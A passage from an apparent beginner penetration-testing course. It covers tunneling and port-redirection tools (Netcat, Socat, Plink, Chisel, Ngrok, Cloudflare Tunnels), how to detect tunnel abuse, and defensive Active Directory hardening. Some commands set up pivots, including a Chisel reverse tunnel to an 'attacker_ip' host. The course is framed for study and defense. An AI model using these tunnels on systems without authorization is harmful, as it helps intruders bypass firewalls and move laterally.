⚠️ Limitation:
Netcat has limited stability and lacks encryption.

🔹 Socat

Socat (SOcket CAT) is an advanced version of Netcat that supports encryption, authentication, and complex forwarding.

Socat can connect almost any two endpoints: TCP, UDP, files, pipes, and even SSL connections.

📌 Basic Port Forwarding with Socat
socat TCP-LISTEN:9000,fork TCP:internal_host:80

Forwards incoming connections on port 9000 to internal_host:80.

📌 Encrypted Redirection
socat TCP-LISTEN:443,fork SSL:internal_host:8443

Redirects traffic securely using SSL encryption.

💡 Key Advantage:
Socat supports encryption, making it safer than Netcat.

🔄 Netcat vs Socat
Feature Netcat Socat
Ease of Use Very simple Moderate
Encryption No Yes
Protocol Support Limited Extensive
Stability Basic High

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Netcat and Socat allow fast port redirection without installing heavy tools.

Defender View: Unexpected listeners or forwarded ports may indicate pivoting or tunneling activity.

📍 Where These Tools Fit in a Pentest
  1. Initial compromise
  2. Discovery of internal services
  3. Port redirection setup
  4. Access restricted services
  5. Lateral movement
⚠️ Legal Reminder:
Use Netcat and Socat only on systems you own or have explicit permission to test.
In simple words:
Netcat and Socat act as flexible bridges that redirect traffic, enabling pivoting and access to hidden services.

23.7 Plink & Chisel (Windows / Linux)

Plink and Chisel are tunneling tools used for port forwarding, pivoting, and bypassing network restrictions across Windows and Linux systems.

In simple words, these tools help attackers and administrators create tunnels through restricted networks, especially when SSH or direct access is limited.

Plink is SSH-based and commonly used on Windows, while Chisel is a modern, lightweight tunneling tool designed for fast and flexible pivoting.


🔍 Why Plink & Chisel Are Important
  • 🪟 Enable tunneling from Windows systems
  • 🔐 Support encrypted communication
  • 🧱 Bypass firewall and proxy restrictions
  • 🔄 Enable lateral movement and pivoting
  • ⚡ Lightweight and easy to deploy
💡 Example:
A compromised Windows machine has outbound access only. Plink or Chisel can create tunnels back to the attacker.
🔹 Plink (PuTTY Link)

Plink is a command-line version of PuTTY that provides SSH connectivity from Windows systems. It is widely used for SSH tunneling and port forwarding.

Plink is especially useful when SSH clients are not installed on Windows targets.

📌 Local Port Forwarding with Plink
plink.exe -L 8080:internal_host:80 user@ssh_server

This forwards local port 8080 to internal_host:80 through the SSH server.

📌 Remote Port Forwarding with Plink
plink.exe -R 9000:localhost:22 user@ssh_server

This exposes the local SSH service to the remote server on port 9000.

⚠️ Limitation:
Plink requires valid SSH credentials and depends on SSH access.

🔹 Chisel

Chisel is a fast, single-binary tunneling tool written in Go. It creates tunnels over HTTP/HTTPS, making it highly effective in restricted environments.

Chisel works using a client-server model, where the server listens for incoming connections and clients establish tunnels.

📌 Starting a Chisel Server
chisel server -p 8000 --reverse

Starts a server listening on port 8000 with reverse tunneling enabled.

📌 Reverse Port Forwarding with Chisel
chisel client attacker_ip:8000 R:9000:internal_host:80

This exposes internal_host:80 on port 9000 of the attacker machine.

💡 Key Advantage:
Chisel tunnels traffic over HTTP/HTTPS, which is often allowed through firewalls.

🔄 Plink vs Chisel
Feature Plink Chisel
Protocol SSH HTTP/HTTPS
Platform Windows Windows / Linux
Encryption Yes Yes
Firewall Bypass Limited High

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: These tools allow stealthy pivoting from Windows and restricted environments.

Defender View: Unexpected SSH or HTTP tunnels may indicate lateral movement or exfiltration attempts.

📍 Where These Tools Fit in a Pentest
  1. Compromise a Windows or Linux host
  2. Outbound-only connectivity identified
  3. Plink or Chisel deployed
  4. Ports redirected or services exposed
  5. Lateral movement performed
⚠️ Legal Reminder:
Plink and Chisel must only be used on systems you own or have explicit authorization to test.
In simple words:
Plink and Chisel create secure tunnels across restricted networks, enabling pivoting from both Windows and Linux systems.

23.8 Ngrok & Cloudflare Tunnels

Ngrok and Cloudflare Tunnels are modern tunneling solutions that expose local or internal services to the internet through secure, outbound-only connections.

In simple words, these tools allow you to make a private service accessible from anywhere without opening firewall ports or configuring NAT rules.

They are widely used in development, remote access, and penetration testing for port redirection, pivoting, and temporary exposure of services.


🔍 Why Ngrok & Cloudflare Tunnels Are Important
  • 🌍 Expose internal services to the public internet
  • 🧱 Bypass NAT, firewall, and ISP restrictions
  • 🔐 Use encrypted, outbound-only connections
  • ⚡ Quick setup with minimal configuration
  • 🛠 Useful for testing, demos, and pivoting
💡 Example:
A web server is running locally but inaccessible externally. Ngrok or Cloudflare Tunnel can provide a public URL instantly.
🔹 Ngrok

Ngrok creates a secure tunnel between a public endpoint and a local service. It assigns a temporary public URL that forwards traffic to the local machine.

Ngrok is commonly used for web testing, webhook development, and short-term remote access.

📌 Exposing a Local Web Server
ngrok http 8080

This exposes a local service running on port 8080 through a public HTTPS URL.

⚠️ Note:
Free Ngrok URLs are temporary and change on restart.

🔹 Cloudflare Tunnels

Cloudflare Tunnel (formerly Argo Tunnel) allows services to be exposed securely through the Cloudflare network without opening inbound firewall ports.

It works by running a lightweight agent that establishes an outbound encrypted tunnel to Cloudflare.

📌 Starting a Cloudflare Tunnel
cloudflared tunnel run mytunnel

This command connects the local service to Cloudflare and makes it accessible via a configured domain or subdomain.

💡 Key Advantage:
Cloudflare Tunnels provide better stability and custom domains compared to free Ngrok.

🔄 Ngrok vs Cloudflare Tunnels
Feature Ngrok Cloudflare Tunnel
Setup Speed Very fast Moderate
Custom Domain Paid plans Supported
Stability Medium High
Use Case Testing & demos Long-term exposure

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: These tunnels enable access to internal services without modifying firewall rules.

Defender View: Unexpected outbound tunnels to cloud services may indicate data exfiltration or unauthorized exposure.

📍 Where These Tools Fit in a Pentest
  1. Internal service identified
  2. Inbound access blocked
  3. Ngrok or Cloudflare Tunnel established
  4. Service exposed externally
  5. Further testing or exploitation
⚠️ Legal Reminder:
Exposing internal services publicly must only be done with explicit authorization.
In simple words:
Ngrok and Cloudflare Tunnels safely expose internal services using outbound connections, making them powerful tools for port redirection and remote access.

23.9 Monitoring for Suspicious Tunnels

Monitoring for suspicious tunnels involves detecting unauthorized or abnormal port redirection, proxy usage, and encrypted tunnels that may indicate data exfiltration, lateral movement, or persistent attacker access.

In simple words, this process focuses on spotting hidden communication channels that attackers use to bypass security controls and move data in or out of a network.

Since tunneling tools often use legitimate protocols like SSH, HTTPS, or DNS, detection relies more on behavior analysis than simple port blocking.


🔍 Why Monitoring Tunnels Is Critical
  • 🚨 Detects covert data exfiltration
  • 🔄 Identifies lateral movement and pivoting
  • 🧱 Prevents firewall and proxy abuse
  • 🔐 Reveals misuse of trusted protocols
  • 🛡 Improves incident response speed
💡 Key Insight:
Most malicious tunnels look legitimate at first glance. Detection requires context and correlation.
📡 Common Indicators of Suspicious Tunneling
  • Unusual long-lived SSH or HTTPS connections
  • High-volume encrypted traffic to unknown hosts
  • Repeated DNS queries with abnormal patterns
  • Unexpected outbound connections from servers
  • Traffic to known tunneling or cloud relay services

🔐 Monitoring Encrypted Traffic

Encrypted tunnels hide content but not behavior. Security teams should monitor:

  • Connection duration and frequency
  • Data volume mismatched with service purpose
  • Unusual destination countries or networks
  • Non-standard ports used for encrypted traffic
⚠️ Example:
A workstation maintaining a 12-hour SSH session to an external IP is highly suspicious.
🌐 DNS-Based Tunneling Detection

DNS tunneling hides data inside DNS requests and responses. Indicators include:

  • Very long or random-looking domain names
  • High frequency of DNS queries
  • Unusual record types (TXT, NULL)
  • DNS traffic to untrusted domains

📊 Logs and Telemetry Sources

Effective tunnel detection relies on correlating multiple data sources:

  • Firewall and proxy logs
  • IDS / IPS alerts
  • Endpoint detection (EDR) logs
  • DNS logs
  • Cloud service access logs
💡 Best Practice:
No single log source is enough — correlation is essential.
🛠 Tools Used for Detection
  • SIEM platforms (centralized log analysis)
  • Network traffic analyzers
  • EDR / XDR solutions
  • IDS / IPS systems
  • DNS monitoring tools

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Use trusted protocols, encryption, and cloud services to blend in.

Defender View: Focus on behavior, duration, frequency, and anomalies rather than packet content.

📍 Where Monitoring Fits in Security Operations
  1. Baseline normal network behavior
  2. Detect deviations and anomalies
  3. Correlate events across systems
  4. Investigate suspicious tunnels
  5. Respond and contain threats
⚠️ Important:
Over-monitoring without context can lead to false positives. Always validate alerts before response.
In simple words:
Monitoring for suspicious tunnels means watching how systems communicate, not just what they communicate.

23.10 Organizational Controls

Organizational controls are the policies, procedures, and governance mechanisms that define how tunneling, port redirection, and remote access technologies are allowed, monitored, and restricted within an organization.

In simple words, these controls ensure that only approved tunneling methods are used, and unauthorized tunnels are detected and blocked before they can be abused.

Unlike technical controls, organizational controls focus on people, processes, and accountability.


🔍 Why Organizational Controls Matter
  • 📜 Define what tunneling is allowed or forbidden
  • 🧠 Reduce misuse of trusted protocols
  • 🧱 Support technical monitoring and enforcement
  • ⚖ Provide legal and compliance coverage
  • 🚨 Enable faster incident response
💡 Key Insight:
Even the best security tools fail without clear rules and ownership.
📑 Acceptable Use Policies (AUP)

An Acceptable Use Policy clearly defines how network resources may be used.

  • Approved remote access methods (VPN, SSH)
  • Prohibited tunneling tools (unauthorized proxies)
  • Restrictions on personal cloud tunneling services
  • Consequences for policy violations
⚠️ Example:
Employees using Ngrok or SSH tunnels without approval violate AUP.
🔐 Remote Access & Tunneling Policies

Organizations must define who can create tunnels and under what conditions.

  • Centralized VPN usage
  • Restricted SSH port forwarding
  • Approval for cloud-based tunnels
  • Time-limited access for vendors

🧑‍💼 Role-Based Access Control (RBAC)

RBAC limits tunneling capabilities based on job role.

  • Admins allowed SSH tunneling
  • Developers allowed local tunnels
  • Standard users blocked from tunneling tools
💡 Best Practice:
Grant tunneling permissions only when operationally required.
📚 Security Awareness & Training

Employees often create tunnels unknowingly. Training helps reduce risk.

  • Dangers of exposing internal services
  • Risks of bypassing security controls
  • Proper approval channels
  • Reporting suspicious activity

📊 Change Management & Documentation

Any approved tunneling setup should be:

  • Formally requested
  • Risk assessed
  • Documented and time-bound
  • Reviewed periodically
⚠️ Example:
Temporary tunnels created during testing should be removed afterward.
🛠 Integration with Technical Controls

Organizational controls support technical enforcement such as:

  • Firewall and proxy rules
  • SIEM alerting
  • EDR monitoring
  • Cloud access policies

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Exploit unclear policies and over-trusted users to establish tunnels.

Defender View: Enforce least privilege and accountability to prevent tunnel abuse.

📍 Where Organizational Controls Fit
  1. Define policies
  2. Educate users
  3. Approve or deny tunneling
  4. Monitor compliance
  5. Enforce consequences
In simple words:
Organizational controls ensure tunneling is used intentionally, safely, and responsibly.

23.11 Detecting Proxy & Tunneling Abuse

Detecting proxy and tunneling abuse focuses on identifying unauthorized use of proxies, port forwarding, and encrypted tunnels that attackers use to hide activity, bypass security controls, or exfiltrate data.

In simple words, this detection aims to catch situations where legitimate tools and protocols are misused for malicious purposes.

Since proxy and tunneling traffic often looks normal, detection relies on patterns, anomalies, and context rather than simple signature-based rules.


🔍 Why Proxy & Tunneling Abuse Is Dangerous
  • 🕵️ Hides attacker command-and-control traffic
  • 🔄 Enables lateral movement across networks
  • 📤 Facilitates data exfiltration
  • 🧱 Bypasses firewall and access controls
  • 🔐 Abuses trusted protocols like HTTPS and SSH
💡 Key Insight:
Most proxy abuse succeeds because it blends into normal traffic.
📡 Common Signs of Proxy Abuse
  • Traffic routed through unexpected proxy servers
  • Connections to known anonymization or relay services
  • Unusual proxy settings on endpoints
  • Web traffic bypassing corporate proxies
  • Multiple hosts using the same external proxy

🔐 Indicators of Tunneling Abuse

Tunneling abuse often manifests through abnormal behavior rather than clear malicious signatures.

  • Long-lived encrypted sessions with constant traffic
  • High data transfer over non-standard ports
  • SSH connections carrying non-interactive traffic
  • HTTPS sessions with no visible web activity
  • DNS queries carrying encoded or random data
⚠️ Example:
A user system sends continuous HTTPS traffic to a cloud service without any browser activity.
🌐 Detecting DNS Tunneling

DNS tunneling is a common abuse technique due to DNS being widely allowed.

  • Excessively long domain names
  • High entropy (random-looking) subdomains
  • Unusual DNS record types (TXT, NULL)
  • Large volume of DNS requests from a single host

📊 Log Sources for Detection

Effective detection requires correlating multiple telemetry sources:

  • Firewall and proxy logs
  • DNS resolver logs
  • Endpoint detection (EDR) telemetry
  • Network flow (NetFlow) data
  • Cloud service access logs
💡 Best Practice:
Combine network and endpoint visibility to reduce blind spots.
🛠 Techniques Used by Security Teams
  • Baseline normal proxy and tunnel usage
  • Alert on deviations and anomalies
  • Block unauthorized tunneling tools
  • Inspect encrypted traffic metadata
  • Correlate events in SIEM platforms

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Abuse trusted tools and cloud services to remain stealthy.

Defender View: Monitor behavior patterns and context, not just ports or protocols.

📍 Detection Workflow
  1. Identify abnormal proxy or tunnel behavior
  2. Correlate across logs and endpoints
  3. Validate against business use cases
  4. Investigate suspicious activity
  5. Contain and remediate abuse
⚠️ Important:
False positives are common. Always confirm intent before response.
In simple words:
Detecting proxy and tunneling abuse means identifying when normal tools are used in abnormal ways.

🎓 Module 23 : Port Redirection and Tunneling Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 24 – Active Directory Attacks (Ultra-Level Detailed & Safe)

Active Directory (AD) is the backbone of identity, authentication, and authorization for most enterprise Windows environments. This module provides an ultra-detailed and strictly defensive study of AD structure, authentication flows, misconfigurations, detection strategies, and hardening principles. No exploitation steps are included — only conceptual explanations and monitoring approaches.

⚠️ Important: This module explains how AD works, why misconfigurations matter, defensive monitoring, and hardening. It does not include exploitation commands or offensive instructions.

24.1 What is Active Directory?

Active Directory (AD) is Microsoft’s centralized identity and directory service designed to manage users, computers, applications, permissions, and security policies across Windows-based enterprise environments. It acts as the authoritative source of identity for authentication and authorization, enabling organizations to securely manage thousands—or even millions—of objects from a single logical framework.

At its core, Active Directory is not just a database. It is a distributed, replicated identity system that integrates authentication protocols, directory services, policy enforcement, and trust relationships to maintain consistency and security across an enterprise network.

📌 Core Purpose of Active Directory

  • Centralized Identity Management: All users, computers, and service accounts are managed from a single directory.
  • Authentication Authority: AD verifies identities using Kerberos and NTLM-based mechanisms.
  • Authorization Control: Determines what authenticated identities are allowed to access.
  • Policy Enforcement: Group Policies enforce security baselines and configurations.
  • Scalability & Replication: Designed to scale across multiple sites with fault tolerance.

📌 AD Core Components

Component Description Why It Matters for Security
Domain Controllers (DCs) Servers that store the Active Directory database and handle authentication DC compromise grants full control over identities and trust relationships
Active Directory Domain Services (AD DS) Directory engine storing users, groups, computers, and attributes Improper permissions here lead to privilege escalation paths
Group Policy Objects (GPOs) Centralized configuration and security enforcement mechanism Misconfigured GPOs can weaken endpoint and domain security
DNS Integration Name resolution system used to locate domain services DNS failures or manipulation disrupt authentication and trust
Kerberos Authentication Ticket-based authentication protocol Weak configurations expose credential replay and misuse risks
1. What Is a Domain Controller?

A Domain Controller (DC) is a Windows Server that runs Active Directory Domain Services (AD DS). It is responsible for authenticating users, computers, and services within a Windows domain.

  • ✔ Centralized authentication and authorization
  • ✔ Stores Active Directory database (NTDS.dit)
  • ✔ Enforces Group Policy Objects (GPOs)
  • ✔ Issues Kerberos tickets
  • ✔ Acts as a trusted identity authority
⚠️ Why Attackers Target DCs:
  • Dump password hashes
  • Create Domain Admin accounts
  • Impersonate any user
  • Persist invisibly for long periods
💡 In enterprise environments, multiple Domain Controllers are deployed to ensure redundancy, fault tolerance, and high availability.
2. Active Directory Domain Services (AD DS)

AD DS is the logical directory that defines identity, permissions, and trust relationships. It is not just a database — it is the decision-making engine behind every access request.

  • 👤 User & service accounts (with password hashes)
  • 💻 Computers & servers joined to the domain
  • 👥 Groups used for access control
  • 🏢 OUs for administrative delegation
  • 🧬 ACLs defining who can modify what
⚠️ Critical Reality:
Most real-world AD breaches happen due to over-permissioned objects, not exploits.
3. Group Policy Objects (GPOs)

Group Policy Objects enforce security and configuration automatically across the domain. They ensure consistent behavior without manual configuration.

  • 🔒 Password, lockout, and audit policies
  • 🧱 Firewall, Defender, and security baselines
  • 🚫 Restrict scripts, PowerShell, USB devices
  • 📜 Execute startup/logon scripts
  • 🧠 Apply via LSDOU order
⚠️ GPO Abuse Examples:
  • Disabling antivirus domain-wide
  • Deploying malware via scripts
  • Adding attackers to local admins
4. DNS Integration

DNS allows systems to locate Domain Controllers and services. Active Directory relies on DNS records to function correctly.

  • 🌐 SRV records locate DCs
  • 🔍 Enables LDAP & Kerberos discovery
  • 🔁 Supports multi-DC replication
⚠️ DNS Issues Cause:
  • Login failures
  • Replication breakdowns
  • Traffic redirection attacks
5. Kerberos Authentication

Kerberos provides secure authentication using time-based, encrypted tickets instead of transmitting passwords.

  • 🎫 TGT proves identity
  • 🎟️ TGS grants service access
  • ⏱️ Time synchronization required
  • 🤝 Enables seamless SSO
⚠️ Kerberos Attacks Include:
  • Kerberoasting
  • Golden / Silver Tickets
  • Pass-the-Ticket
Final Takeaway:
Active Directory security is only as strong as its weakest configuration. Protecting each component is critical to protecting the entire enterprise.

🔍 How Active Directory Works (Conceptual Flow)

  1. A user or computer attempts to log in to the domain.
  2. The request is sent to a Domain Controller acting as a Key Distribution Center (KDC).
  3. The KDC validates credentials and issues authentication tickets.
  4. Authorization decisions are made based on group memberships and access control lists (ACLs).
  5. Group Policies are applied to enforce security and configuration settings.
💡 Defensive Insight: Any abnormal deviation in authentication flows—unexpected ticket issuance, unusual login locations, or abnormal policy application—can indicate misconfiguration or potential abuse.

⚠️ Why Active Directory Becomes a High-Value Target

Active Directory aggregates identity, privilege, and trust into a single system. This concentration makes it extremely powerful—but also extremely sensitive. A single misconfiguration can create cascading security failures across the entire enterprise.

  • Single Point of Authority: AD controls authentication for nearly all enterprise resources.
  • Privilege Inheritance: Group membership can indirectly grant elevated permissions.
  • Implicit Trust: Domain members inherently trust Domain Controllers.
  • Legacy Compatibility: Older protocols and configurations may still be enabled.

🧠 AD Objects and Security Boundaries

Every item stored in Active Directory is an object with attributes and permissions. Objects exist within a defined security boundary and inherit permissions based on their placement in the directory hierarchy.

  • User Objects: Represent human or service identities.
  • Computer Objects: Represent domain-joined machines.
  • Group Objects: Used for permission aggregation.
  • Service Accounts: Used by applications and services.
💡 Defensive Insight: Monitoring object creation, permission changes, and group membership updates is one of the most effective ways to detect early-stage security issues.

🛡️ Defensive Takeaways

  • ✔ Active Directory is a security control plane, not just a directory.
  • ✔ Most AD-related incidents stem from configuration weaknesses.
  • ✔ Strong visibility into authentication, GPOs, and permissions is essential.
  • ✔ Understanding AD fundamentals is mandatory before any security assessment.
✅ A strong defensive understanding of Active Directory forms the foundation for detecting, preventing, and responding to identity-based security incidents.

24.2 AD Structure & Roles

Active Directory (AD) is built on a layered logical and functional structure designed to support scalability, security boundaries, and centralized control. Understanding how AD is structured—and how responsibilities are distributed across roles—is essential for evaluating risk, enforcing governance, and detecting abnormal behavior.

AD structure defines where authority exists, while AD roles define how that authority is exercised. Misunderstanding either can lead to improper delegation, privilege sprawl, and weak security boundaries.

🏛️ Logical Structure of Active Directory

The logical structure of Active Directory represents how identity objects are organized and governed. This structure is independent of physical network topology and focuses on administrative and security boundaries.

  • Forest – The highest-level security boundary in Active Directory. A forest contains one or more domains that share a common schema, configuration, and global catalog.
  • Domain – A logical partition within a forest. Domains share a common directory database, authentication policies, and security trust relationships.
  • Organizational Units (OUs) – Containers used to organize users, computers, and groups for delegation and Group Policy application.
  • Groups – Collections of objects used to simplify permission management and access control.
  • Objects – Individual directory entries such as users, computers, service accounts, printers, and applications.
💡 Defensive Insight: Security boundaries in AD are enforced primarily at the forest and domain levels. Improper trust relationships or delegated permissions can weaken these boundaries.

🌲 Forest: The Ultimate Security Boundary

A forest represents the maximum scope of trust in Active Directory. All domains within a forest inherently trust each other. This means a compromise in one domain can potentially affect others if proper isolation is not enforced.

  • Shared Schema: Defines object classes and attributes across the forest.
  • Global Catalog: Enables object discovery across domains.
  • Enterprise-wide Trust: Automatic trust between all domains.
⚠️ Forest-level misconfigurations are extremely high-risk because they affect every domain and identity within the enterprise.

🏢 Domain: Administrative and Authentication Unit

A domain is the primary unit of authentication and policy enforcement. All users and computers in a domain share a common security database, password policy, and account lockout rules.

  • Domain Controllers replicate directory data within the domain.
  • Authentication requests are processed at the domain level.
  • Domain Admins have elevated privileges across the domain.
💡 Excessive Domain Admin membership is one of the most common and dangerous Active Directory misconfigurations.

🗂️ Organizational Units (OUs)

Organizational Units provide logical separation within a domain. They are commonly used to apply Group Policies and delegate administrative control without granting full domain privileges.

  • Enable fine-grained policy application.
  • Allow role-based delegation of administrative tasks.
  • Help model organizational structure and security tiers.
💡 Poor OU design often results in overly permissive access or ineffective Group Policy enforcement.

👥 Groups and Access Control

Groups are the primary mechanism for assigning permissions in Active Directory. They simplify access control by allowing permissions to be granted collectively rather than individually.

  • Security Groups: Used to grant access to resources.
  • Distribution Groups: Used primarily for email distribution.
  • Nested Groups: Groups can contain other groups, increasing complexity.
⚠️ Nested and overused groups can obscure effective permissions and make auditing difficult.

🔧 Functional Roles (FSMO)

Flexible Single Master Operations (FSMO) roles prevent conflicts in distributed environments by assigning specific responsibilities to individual Domain Controllers.

FSMO Role Scope Security Significance
Schema Master Forest Controls schema changes affecting all domains
Domain Naming Master Forest Prevents unauthorized domain creation
RID Master Domain Ensures unique security identifiers
PDC Emulator Domain Central authority for time sync and authentication anomalies
Infrastructure Master Domain Maintains cross-domain object references
💡 Monitoring FSMO role transfers, failures, or unauthorized access can reveal early indicators of configuration drift or compromise.

🛡️ Defensive Takeaways

  • ✔ AD structure defines security boundaries and trust relationships.
  • ✔ FSMO roles are critical control points and must be protected.
  • ✔ Proper OU and group design reduces privilege sprawl.
  • ✔ Understanding structure is essential before implementing monitoring or hardening.
✅ A deep understanding of AD structure and roles enables defenders to design secure architectures, detect anomalies, and prevent identity-based security incidents.

24.3 Common AD Misconfigurations (Defensive Lens)

The majority of Active Directory–related security incidents are not caused by flaws in Microsoft’s authentication protocols, but by configuration weaknesses, poor governance, and operational drift. Over time, environments accumulate risky settings that silently weaken security boundaries and increase blast radius.

This section examines the most common and impactful AD misconfigurations from a defensive perspective, explaining why they are dangerous, how they manifest in real environments, and what defenders should monitor.

🔥 High-Risk AD Misconfigurations

  • Weak password policies – Short passwords, no complexity, or no rotation requirements increase the likelihood of credential compromise.
  • Excessive administrative privileges – Overuse of Domain Admin, Enterprise Admin, or privileged groups.
  • Unconstrained delegation – Allows credential exposure across services.
  • Legacy protocols enabled – NTLM, SMBv1, and unsigned LDAP.
  • Service accounts with SPNs and weak passwords – High-value identities often overlooked.
  • GPO misconfigurations – Unsafe permissions or insecure system settings.
  • Insufficient audit logging – Inability to detect or investigate incidents.
  • Stale or orphaned privileged accounts – Accounts that no longer have a business owner.

🔑 Weak Password and Authentication Policies

Password policy misconfigurations remain one of the most widespread weaknesses in Active Directory environments. Organizations often relax policies to reduce user friction, unintentionally increasing exposure.

  • Low minimum password length
  • No complexity or character requirements
  • Long password expiration intervals
  • No account lockout thresholds
💡 Defensive Insight: Monitor for frequent authentication failures, password changes outside expected patterns, and accounts exempt from password policies.

👑 Excessive Privileges & Privilege Sprawl

Privilege sprawl occurs when elevated access is granted broadly and rarely revoked. Over time, this erodes the principle of least privilege and dramatically increases the impact of a single account compromise.

  • Too many members in Domain Admins
  • Nested privileged groups obscuring access paths
  • Use of admin accounts for daily activities
  • Lack of privileged access review
⚠️ Any compromised highly privileged account can bypass most security controls.

🔄 Delegation Misconfigurations

Delegation allows services to act on behalf of users, but improper delegation settings create opportunities for unintended credential exposure.

  • Unconstrained Delegation: Services can impersonate users to any resource.
  • Constrained Delegation: Safer, but still risky if misapplied.
  • Resource-Based Delegation: Requires strict control and auditing.
💡 Monitor changes to delegation settings and unusual service-to-service authentication.

📡 Legacy and Insecure Protocols

Many AD environments retain legacy protocols for compatibility with older systems. These protocols often lack modern security protections.

  • NTLM authentication enabled
  • SMBv1 still active
  • LDAP signing not enforced
  • Unsigned or unencrypted traffic
⚠️ Legacy protocols significantly weaken authentication integrity and visibility.

🧾 Service Accounts & SPNs

Service accounts often run critical applications but are frequently excluded from standard security hygiene practices.

  • Passwords never rotated
  • Shared service accounts across systems
  • Excessive privileges granted “just in case”
  • SPNs assigned without oversight
💡 Defenders should inventory all service accounts and enforce managed identities where possible.

📜 Group Policy Misconfigurations

Group Policy Objects are powerful and can enforce security—or undermine it if misconfigured.

  • Weak local administrator password policies
  • Overly permissive GPO editing rights
  • Startup scripts executing insecure code
  • Conflicting or undocumented policies
⚠️ GPO misconfigurations can silently weaken every system in scope.

📊 Insufficient Logging & Monitoring

Without proper logging, defenders cannot detect or investigate suspicious activity. Many environments log too little—or do not centralize logs.

  • Audit policies not fully enabled
  • No central log collection (SIEM)
  • Short log retention periods
  • No alerts for privilege changes
💡 Logging is not just for incidents—it is a preventive security control.

🛡️ Defensive Takeaways

  • ✔ Most AD breaches stem from preventable misconfigurations
  • ✔ Privilege and delegation must be tightly controlled
  • ✔ Legacy compatibility often introduces hidden risk
  • ✔ Continuous auditing is essential for AD security
✅ Reducing Active Directory misconfigurations significantly lowers the likelihood and impact of identity-based security incidents.

24.4 Authentication Weaknesses (Safe, Conceptual Only)

Active Directory authentication is built on mature and well-tested protocols such as Kerberos, NTLM, and token-based authorization. In properly configured environments, these mechanisms are robust. However, authentication weaknesses almost always arise from configuration errors, legacy compatibility settings, or excessive privileges, not from flaws in the protocols themselves.

This section focuses on how authentication works conceptually, where defensive gaps appear, and what defenders should monitor to detect abnormal behavior early. No offensive or exploitative techniques are discussed.

🔑 Kerberos Authentication (Conceptual Overview)

Kerberos is the default authentication protocol in modern Active Directory environments. It is a ticket-based system designed to prevent plaintext password transmission across the network.

  • The client authenticates to the Key Distribution Center (KDC).
  • The KDC issues a Ticket Granting Ticket (TGT) encrypted with the krbtgt account key.
  • The client uses the TGT to request service tickets (TGS).
  • The client presents the service ticket to the target service.
💡 Defensive Insight: Kerberos relies heavily on accurate time synchronization, strong service account hygiene, and controlled delegation. Any deviation from baseline behavior should be investigated.

📡 NTLM and Legacy Authentication

NTLM exists primarily for backward compatibility with older systems. Unlike Kerberos, NTLM does not provide the same level of mutual authentication and is more susceptible to misuse in poorly configured environments.

  • NTLM is often enabled to support legacy applications.
  • Fallback to NTLM may occur if Kerberos fails.
  • NTLM traffic is harder to audit and protect at scale.
⚠️ From a defensive standpoint, NTLM should be restricted or disabled wherever possible and monitored closely where it must remain enabled.

🎟️ Token-Based Authorization

After successful authentication, Windows systems rely on access tokens to represent a user’s identity and privileges. These tokens contain group memberships, privileges, and integrity levels.

  • Tokens are generated at logon and reused across sessions.
  • Group membership directly affects token privilege level.
  • Over-privileged accounts receive overly powerful tokens.
💡 Defenders should audit privileged group membership regularly to reduce token abuse risk.

⚠️ Common Authentication Configuration Weaknesses

Authentication weaknesses typically emerge when identity hygiene and access governance are not enforced consistently.

  • Weak service account passwords: Increases the risk of unauthorized ticket usage.
  • Improper delegation configuration: Allows credentials to be exposed beyond intended scope.
  • Kerberos fallback to NTLM: Occurs when SPNs or DNS are misconfigured.
  • Over-permissioned user accounts: Results in powerful authentication tokens.
  • Inconsistent time synchronization: Causes Kerberos authentication failures.

🔄 Delegation and Authentication Risk

Delegation allows services to act on behalf of users, which is necessary for many enterprise applications. However, mismanaged delegation significantly increases authentication risk.

  • Unconstrained delegation: Broad impersonation capability with high risk.
  • Constrained delegation: Safer but still requires strict oversight.
  • Resource-based delegation: Offers better control when implemented correctly.
💡 Monitor delegation settings and review them during regular security audits.

📊 Defensive Monitoring & Detection

Effective detection of authentication weaknesses relies on strong visibility into authentication events, ticket usage, and privilege changes.

  • Monitor Kerberos authentication failures and ticket issuance rates.
  • Track NTLM usage and identify systems relying on legacy authentication.
  • Alert on sudden changes in group membership or delegation settings.
  • Correlate authentication logs with time synchronization events.

🛡️ Defensive Hardening Principles

  • ✔ Enforce strong password and service account policies
  • ✔ Minimize and audit delegation usage
  • ✔ Reduce or eliminate NTLM dependencies
  • ✔ Ensure consistent time synchronization across domain controllers
  • ✔ Review privileged group memberships frequently
✅ Authentication weaknesses are preventable. With proper configuration, monitoring, and governance, Active Directory authentication remains a strong security foundation.

24.5 AD Hardening Techniques (Defensive Best Practices)

Active Directory hardening is the process of systematically reducing the attack surface, limiting privilege abuse, and increasing visibility into identity-related activity. Effective hardening focuses on prevention, containment, and detection, not just configuration.

A hardened AD environment assumes that compromises may occur and is designed to limit blast radius, slow lateral movement, and enable rapid detection and response.

🛡️ Core Hardening Principles

  • Principle of Least Privilege: Grant only the minimum permissions required for each role.
  • Tiered Administration Model (Tier 0 / 1 / 2): Isolate critical identity infrastructure from standard user environments.
  • Strong Authentication Policies: Enforce long passwords, complexity, MFA where possible, and password vaulting.
  • Service Account Hygiene: Replace static passwords with managed service accounts (gMSA) or automated rotation.
  • Legacy Protocol Reduction: Disable NTLM, SMBv1, and unsigned LDAP where compatibility allows.
  • krbtgt Protection: Rotate krbtgt credentials regularly and after major security events.
  • Domain Controller Protection: Treat DCs as Tier 0 assets with strict network and access controls.
  • Privilege Auditing: Continuously review and justify all privileged group memberships.
💡 Defensive Insight: Hardening is not a one-time project—it is an ongoing operational discipline that must adapt to organizational and technical changes.

🏗️ Tiered Administration Model

The tiered administration model separates identities and systems based on their security sensitivity, preventing credential reuse across trust boundaries.

  • Tier 0: Domain Controllers, AD services, identity infrastructure.
  • Tier 1: Servers and applications.
  • Tier 2: User workstations and endpoints.
⚠️ Tier violations—such as logging into workstations with Tier 0 accounts— significantly increase the risk of credential compromise.

🔐 Account & Credential Hardening

Strong identity hygiene is the foundation of AD security. Weak or unmanaged credentials undermine all other controls.

  • Enforce strong password policies and prohibit password reuse.
  • Implement multi-factor authentication for privileged accounts.
  • Use separate admin accounts for privileged tasks.
  • Eliminate shared accounts wherever possible.

🧾 Service Account Hardening

Service accounts are often long-lived and highly privileged, making them a critical hardening priority.

